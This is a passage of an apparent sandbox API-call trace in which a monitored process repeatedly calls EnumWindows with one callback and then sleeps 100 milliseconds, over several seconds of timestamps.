lParam=0x410000) [0223.055] Sleep (dwMilliseconds=0x64) [0223.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.057] Sleep (dwMilliseconds=0x64) [0223.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.160] Sleep (dwMilliseconds=0x64) [0223.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.162] Sleep (dwMilliseconds=0x64) [0223.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.165] Sleep (dwMilliseconds=0x64) [0223.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.167] Sleep (dwMilliseconds=0x64) [0223.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.169] Sleep (dwMilliseconds=0x64) [0223.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.171] Sleep (dwMilliseconds=0x64) [0223.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.173] Sleep (dwMilliseconds=0x64) [0223.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.175] Sleep (dwMilliseconds=0x64) [0223.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.177] Sleep (dwMilliseconds=0x64) [0223.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.178] Sleep (dwMilliseconds=0x64) [0223.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.180] Sleep (dwMilliseconds=0x64) [0223.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.182] Sleep (dwMilliseconds=0x64) [0223.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.184] Sleep (dwMilliseconds=0x64) [0223.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.186] Sleep (dwMilliseconds=0x64) [0223.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.188] Sleep (dwMilliseconds=0x64) [0223.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.189] Sleep (dwMilliseconds=0x64) [0223.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.191] Sleep (dwMilliseconds=0x64) [0223.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.192] Sleep (dwMilliseconds=0x64) [0223.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.197] Sleep (dwMilliseconds=0x64) [0223.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.199] Sleep (dwMilliseconds=0x64) [0223.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.201] Sleep (dwMilliseconds=0x64) [0223.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.202] Sleep (dwMilliseconds=0x64) [0223.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.204] Sleep (dwMilliseconds=0x64) [0223.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.205] Sleep (dwMilliseconds=0x64) [0223.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.207] Sleep (dwMilliseconds=0x64) [0223.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.208] Sleep (dwMilliseconds=0x64) [0223.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.210] Sleep (dwMilliseconds=0x64) [0223.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.212] Sleep (dwMilliseconds=0x64) [0223.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.214] Sleep (dwMilliseconds=0x64) [0223.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.216] Sleep (dwMilliseconds=0x64) [0223.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.218] Sleep (dwMilliseconds=0x64) [0223.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.220] Sleep (dwMilliseconds=0x64) [0223.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.222] Sleep (dwMilliseconds=0x64) [0223.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.224] Sleep (dwMilliseconds=0x64) [0223.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.226] Sleep (dwMilliseconds=0x64) [0223.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.230] Sleep (dwMilliseconds=0x64) [0223.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.232] Sleep (dwMilliseconds=0x64) [0223.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.234] Sleep (dwMilliseconds=0x64) [0223.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.236] Sleep (dwMilliseconds=0x64) [0223.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.237] Sleep (dwMilliseconds=0x64) [0223.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.239] Sleep (dwMilliseconds=0x64) [0223.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.241] Sleep (dwMilliseconds=0x64) [0223.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.243] Sleep (dwMilliseconds=0x64) [0223.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.245] Sleep (dwMilliseconds=0x64) [0223.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.246] Sleep (dwMilliseconds=0x64) [0223.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.248] Sleep (dwMilliseconds=0x64) [0223.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.250] Sleep (dwMilliseconds=0x64) [0223.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.252] Sleep (dwMilliseconds=0x64) [0223.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.254] Sleep (dwMilliseconds=0x64) [0223.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.255] Sleep (dwMilliseconds=0x64) [0223.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.258] Sleep (dwMilliseconds=0x64) [0223.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.259] Sleep (dwMilliseconds=0x64) [0223.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.262] Sleep (dwMilliseconds=0x64) [0223.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.263] Sleep (dwMilliseconds=0x64) [0223.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.265] Sleep (dwMilliseconds=0x64) [0223.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.266] Sleep (dwMilliseconds=0x64) [0223.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.268] Sleep (dwMilliseconds=0x64) [0223.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.270] Sleep (dwMilliseconds=0x64) [0223.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.272] Sleep (dwMilliseconds=0x64) [0223.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.273] Sleep (dwMilliseconds=0x64) [0223.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.275] Sleep (dwMilliseconds=0x64) [0223.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.277] Sleep (dwMilliseconds=0x64) [0223.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.279] Sleep (dwMilliseconds=0x64) [0223.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.281] Sleep (dwMilliseconds=0x64) [0223.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.283] Sleep (dwMilliseconds=0x64) [0223.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.287] Sleep (dwMilliseconds=0x64) [0223.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.288] Sleep (dwMilliseconds=0x64) [0223.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.290] Sleep (dwMilliseconds=0x64) [0223.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.292] Sleep (dwMilliseconds=0x64) [0223.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.293] Sleep (dwMilliseconds=0x64) [0223.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.297] Sleep (dwMilliseconds=0x64) [0223.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.298] Sleep (dwMilliseconds=0x64) [0223.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.300] Sleep (dwMilliseconds=0x64) [0223.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.301] Sleep (dwMilliseconds=0x64) [0223.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.303] Sleep (dwMilliseconds=0x64) [0223.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.306] Sleep (dwMilliseconds=0x64) [0223.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.308] Sleep (dwMilliseconds=0x64) [0223.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.310] Sleep (dwMilliseconds=0x64) [0223.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.312] Sleep (dwMilliseconds=0x64) [0223.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.349] Sleep (dwMilliseconds=0x64) [0223.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.354] Sleep (dwMilliseconds=0x64) [0223.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.356] Sleep (dwMilliseconds=0x64) [0223.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.357] Sleep (dwMilliseconds=0x64) [0223.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.359] Sleep (dwMilliseconds=0x64) [0223.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.361] Sleep (dwMilliseconds=0x64) [0223.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.363] Sleep (dwMilliseconds=0x64) [0223.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.364] Sleep (dwMilliseconds=0x64) [0223.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.367] Sleep (dwMilliseconds=0x64) [0223.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.368] Sleep (dwMilliseconds=0x64) [0223.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.370] Sleep (dwMilliseconds=0x64) [0223.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.372] Sleep (dwMilliseconds=0x64) [0223.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.374] Sleep (dwMilliseconds=0x64) [0223.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.376] Sleep (dwMilliseconds=0x64) [0223.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.378] Sleep (dwMilliseconds=0x64) [0223.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.428] Sleep (dwMilliseconds=0x64) [0223.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.483] Sleep (dwMilliseconds=0x64) [0223.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.484] Sleep (dwMilliseconds=0x64) [0223.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.486] Sleep (dwMilliseconds=0x64) [0223.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.495] Sleep (dwMilliseconds=0x64) [0223.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.497] Sleep (dwMilliseconds=0x64) [0223.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.499] Sleep (dwMilliseconds=0x64) [0223.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.500] Sleep (dwMilliseconds=0x64) [0223.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.502] Sleep (dwMilliseconds=0x64) [0223.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.503] Sleep (dwMilliseconds=0x64) [0223.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.505] Sleep (dwMilliseconds=0x64) [0223.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.507] Sleep (dwMilliseconds=0x64) [0223.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.509] Sleep (dwMilliseconds=0x64) [0223.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.511] Sleep (dwMilliseconds=0x64) [0223.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.564] Sleep (dwMilliseconds=0x64) [0223.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.577] Sleep (dwMilliseconds=0x64) [0223.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.632] Sleep (dwMilliseconds=0x64) [0223.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.635] Sleep (dwMilliseconds=0x64) [0223.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.649] Sleep (dwMilliseconds=0x64) [0223.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.651] Sleep (dwMilliseconds=0x64) [0223.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.653] Sleep (dwMilliseconds=0x64) [0223.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.665] Sleep (dwMilliseconds=0x64) [0223.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.712] Sleep (dwMilliseconds=0x64) [0223.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.868] Sleep (dwMilliseconds=0x64) [0223.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.914] Sleep (dwMilliseconds=0x64) [0223.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.984] Sleep (dwMilliseconds=0x64) [0223.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.986] Sleep (dwMilliseconds=0x64) [0223.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.988] Sleep (dwMilliseconds=0x64) [0223.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.989] Sleep (dwMilliseconds=0x64) [0223.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.991] Sleep (dwMilliseconds=0x64) [0224.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.003] Sleep (dwMilliseconds=0x64) [0224.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.026] Sleep (dwMilliseconds=0x64) [0224.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.062] Sleep (dwMilliseconds=0x64) [0224.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.141] Sleep (dwMilliseconds=0x64) [0224.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.143] Sleep (dwMilliseconds=0x64) [0224.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.144] Sleep (dwMilliseconds=0x64) [0224.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.153] Sleep (dwMilliseconds=0x64) [0224.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.163] Sleep (dwMilliseconds=0x64) [0224.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.175] Sleep (dwMilliseconds=0x64) [0224.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.203] Sleep (dwMilliseconds=0x64) [0224.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.214] Sleep (dwMilliseconds=0x64) [0224.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.294] Sleep (dwMilliseconds=0x64) [0224.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.296] Sleep (dwMilliseconds=0x64) [0224.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.298] Sleep (dwMilliseconds=0x64) [0224.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.300] Sleep (dwMilliseconds=0x64) [0224.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.302] Sleep (dwMilliseconds=0x64) [0224.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.304] Sleep (dwMilliseconds=0x64) [0224.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.306] Sleep (dwMilliseconds=0x64) [0224.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.307] Sleep (dwMilliseconds=0x64) [0224.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.398] Sleep (dwMilliseconds=0x64) [0224.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.413] Sleep (dwMilliseconds=0x64) [0224.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.415] Sleep (dwMilliseconds=0x64) [0224.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.416] Sleep (dwMilliseconds=0x64) [0224.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.418] Sleep (dwMilliseconds=0x64) [0224.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.420] Sleep (dwMilliseconds=0x64) [0224.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.422] Sleep (dwMilliseconds=0x64) [0224.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.423] Sleep (dwMilliseconds=0x64) [0224.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.425] Sleep (dwMilliseconds=0x64) [0224.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.427] Sleep (dwMilliseconds=0x64) [0224.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.430] Sleep (dwMilliseconds=0x64) [0224.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.432] Sleep (dwMilliseconds=0x64) [0224.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.434] Sleep (dwMilliseconds=0x64) [0224.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.435] Sleep (dwMilliseconds=0x64) [0224.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.437] Sleep (dwMilliseconds=0x64) [0224.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.439] Sleep (dwMilliseconds=0x64) [0224.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.441] Sleep (dwMilliseconds=0x64) [0224.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.443] Sleep (dwMilliseconds=0x64) [0224.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.497] Sleep (dwMilliseconds=0x64) [0224.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.508] Sleep (dwMilliseconds=0x64) [0224.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.541] Sleep (dwMilliseconds=0x64) [0224.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.550] Sleep (dwMilliseconds=0x64) [0224.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.559] Sleep (dwMilliseconds=0x64) [0224.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.569] Sleep (dwMilliseconds=0x64) [0224.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.573] Sleep (dwMilliseconds=0x64) [0224.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.626] Sleep (dwMilliseconds=0x64) [0224.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.631] Sleep (dwMilliseconds=0x64) [0224.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.683] Sleep (dwMilliseconds=0x64) [0224.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.685] Sleep (dwMilliseconds=0x64) [0224.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.701] Sleep (dwMilliseconds=0x64) [0224.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.718] Sleep (dwMilliseconds=0x64) [0224.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.789] Sleep (dwMilliseconds=0x64) [0224.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.868] Sleep (dwMilliseconds=0x64) [0224.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.886] Sleep (dwMilliseconds=0x64) [0224.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.887] Sleep (dwMilliseconds=0x64) [0224.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.890] Sleep (dwMilliseconds=0x64) [0224.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.892] Sleep (dwMilliseconds=0x64) [0224.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.896] Sleep (dwMilliseconds=0x64) [0224.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.897] Sleep (dwMilliseconds=0x64) [0224.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0224.935] Sleep (dwMilliseconds=0x64) [0225.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.081] Sleep (dwMilliseconds=0x64) [0225.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.083] Sleep (dwMilliseconds=0x64) [0225.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.085] Sleep (dwMilliseconds=0x64) [0225.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.087] Sleep (dwMilliseconds=0x64) [0225.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.088] Sleep (dwMilliseconds=0x64) [0225.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.090] Sleep (dwMilliseconds=0x64) [0225.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.091] Sleep (dwMilliseconds=0x64) [0225.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.093] Sleep (dwMilliseconds=0x64) [0225.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.096] Sleep (dwMilliseconds=0x64) [0225.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.098] Sleep (dwMilliseconds=0x64) [0225.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.099] Sleep (dwMilliseconds=0x64) [0225.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.101] Sleep (dwMilliseconds=0x64) [0225.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.102] Sleep (dwMilliseconds=0x64) [0225.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.104] Sleep (dwMilliseconds=0x64) [0225.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.109] Sleep (dwMilliseconds=0x64) [0225.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.111] Sleep (dwMilliseconds=0x64) [0225.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.151] Sleep (dwMilliseconds=0x64) [0225.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.230] Sleep (dwMilliseconds=0x64) [0225.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.244] Sleep (dwMilliseconds=0x64) [0225.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.257] Sleep (dwMilliseconds=0x64) [0225.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.269] Sleep (dwMilliseconds=0x64) [0225.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.303] Sleep (dwMilliseconds=0x64) [0225.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.377] Sleep (dwMilliseconds=0x64) [0225.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.378] Sleep (dwMilliseconds=0x64) [0225.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.383] Sleep (dwMilliseconds=0x64) [0225.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.393] Sleep (dwMilliseconds=0x64) [0225.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.402] Sleep (dwMilliseconds=0x64) [0225.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.411] Sleep (dwMilliseconds=0x64) [0225.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.440] Sleep (dwMilliseconds=0x64) [0225.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.449] Sleep (dwMilliseconds=0x64) [0225.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.526] Sleep (dwMilliseconds=0x64) [0225.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.529] Sleep (dwMilliseconds=0x64) [0225.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.533] Sleep (dwMilliseconds=0x64) [0225.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.534] Sleep (dwMilliseconds=0x64) [0225.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.536] Sleep (dwMilliseconds=0x64) [0225.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.621] Sleep (dwMilliseconds=0x64) [0225.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.640] Sleep (dwMilliseconds=0x64) [0225.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.642] Sleep (dwMilliseconds=0x64) [0225.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.644] Sleep (dwMilliseconds=0x64) [0225.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.645] Sleep (dwMilliseconds=0x64) [0225.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.647] Sleep (dwMilliseconds=0x64) [0225.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.648] Sleep (dwMilliseconds=0x64) [0225.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.650] Sleep (dwMilliseconds=0x64) [0225.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.652] Sleep (dwMilliseconds=0x64) [0225.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.653] Sleep (dwMilliseconds=0x64) [0225.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.656] Sleep (dwMilliseconds=0x64) [0225.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.658] Sleep (dwMilliseconds=0x64) [0225.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.659] Sleep (dwMilliseconds=0x64) [0225.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.661] Sleep (dwMilliseconds=0x64) [0225.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.662] Sleep (dwMilliseconds=0x64) [0225.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.664] Sleep (dwMilliseconds=0x64) [0225.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.666] Sleep (dwMilliseconds=0x64) [0225.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.667] Sleep (dwMilliseconds=0x64) [0225.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.668] Sleep (dwMilliseconds=0x64) [0225.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.670] Sleep (dwMilliseconds=0x64) [0225.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.717] Sleep (dwMilliseconds=0x64) [0225.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0225.726] Sleep 